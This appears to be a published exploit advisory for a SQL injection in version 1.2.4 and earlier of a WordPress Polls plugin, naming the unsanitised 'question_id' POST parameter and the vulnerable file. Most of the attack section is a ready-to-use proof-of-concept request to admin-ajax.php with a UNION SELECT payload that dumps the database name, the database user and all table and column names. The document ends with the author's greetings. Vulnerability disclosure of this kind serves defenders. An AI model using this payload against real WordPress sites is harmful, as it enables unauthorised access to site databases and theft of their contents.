Exploit Title :WordPress Polls plugin(1.2.4) SQL Injection vulnerability
Vulnerable version:<=1.2.4
Download Link : https://downloads.wordpress.org/plugin/polls-widget.1.2.4.zip
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/// Overview:
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WordPress Polls plugin is a tool for creating polls and survey forms. You can use polls on widgets, posts and pages. Plugin code accept answer from user using survey form. During this process, HTTP POST parameter "question_id" goes to SQL query without data senitization which arise SQL Injection vulnerability. Vulnerable code is in "fornt_end/fornt_end.php" file.
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/// POC ////
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SQL Injection payload to enumerate tables
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http://ica.lab/wp-admin/admin-ajax.php?action=pollinsertvalues
Post data
question_id=-3 union select concat(0x3c62723e3c666f6e7420636f6c6f723d626c61636b2073697a653d343e3c623e2d2d3d3d5b5b20496e64695368656c6c204c61625d5d3d3d2d2d203c62723e4461746162617365204e616d653a202d ,database(),0x3c62723e,0x446174616261736520557365723a202d20,user(),0x3c62723e,group_concat(0x3c62723e,table_name,0x7e,column_name),0x3c62723e,0x3c62723e3c62723e3c62723e),2 from information_schema.columns where table_schema=database()--&poll_answer_securety=0c7d4ce561&date_answers[0]=5
POC
--==[[ Greetz To ]]==--
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Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
--==[[ Love To ]]==--
My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)